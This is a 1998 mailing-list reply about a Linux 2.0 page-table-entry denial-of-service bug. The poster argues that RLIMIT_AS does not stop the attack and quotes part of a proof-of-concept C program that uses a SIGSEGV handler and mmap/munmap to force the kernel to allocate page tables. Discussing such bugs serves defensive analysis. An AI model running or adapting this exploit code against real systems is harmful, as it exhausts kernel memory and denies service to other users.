Re: linux 2.0 PTE bug

From: Pavel Kankovsky (peakat_private)
Date: Thu May 28 1998 - 12:23:34 PDT

  • Next message: Ryan Veety: "Re: Windows95/98(?) Screensavers"

    On Tue, 26 May 1998 pedwardat_private wrote:
    
    > (it really has nothing to do with resources).  The main factor is RLIMIT_AS,
    > defined in /usr/src/linux/include/asm/resource.h, it controls how much virtual
    > memory that a process can map, mmap utilizes virtual memory.  You can
    > safely throttle people by running a program which calls setrlimit(2) with
    > RLIMIT_AS as the resource.  By far, 3GB is too much.
    >
    > This is only a DoS if you LET it be a DoS.
    >
    
    No. Re-read the program carefully:
    
    <quote author="p6mip300at_private">
    
    void the_handler(int x)
    {
      signal(SIGSEGV, the_handler);
    
      touch_me++;
    
      if(mmap((void *)address, 4, PROT_READ,
            MAP_FIXED|MAP_PRIVATE, fd, 0)==(void *)-1) {
        perror("mmap");
        exit(1);
      }
    }
    
    void main(void)
    {
    [...]
      signal(SIGSEGV, the_handler);
    
      /* 3*1024*1024*1024 = TASK_SIZE,
       * 1024*4096 = number of bytes one pte can map */
      for (address=0; address<3*1024*1024*1024; address+=1024*4096) {
        i=*(unsigned long *)address;
        if (touch_me) {
          touch_me=0;
          munmap((void *)address, 4);
        }
      }
    [...]
    }
    
    </quote>
    
    The program allocates ONE page for each 4MB block of address space. This
    makes 768 pages (3MB). It would hardly hit a (reasonable) AS limit even if
    it did not disallocate the page having touched it.
    
    It can run with RLIMIT_AS set to 1MB. At least on my system--I have
    tried it (according to /proc/*/status, VmSize was 904 kB).
    
    
    --Pavel Kankovsky aka Peak  [ Boycott Microsoft--http://www.vcnet.com/bms ]
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 13:55:10 PDT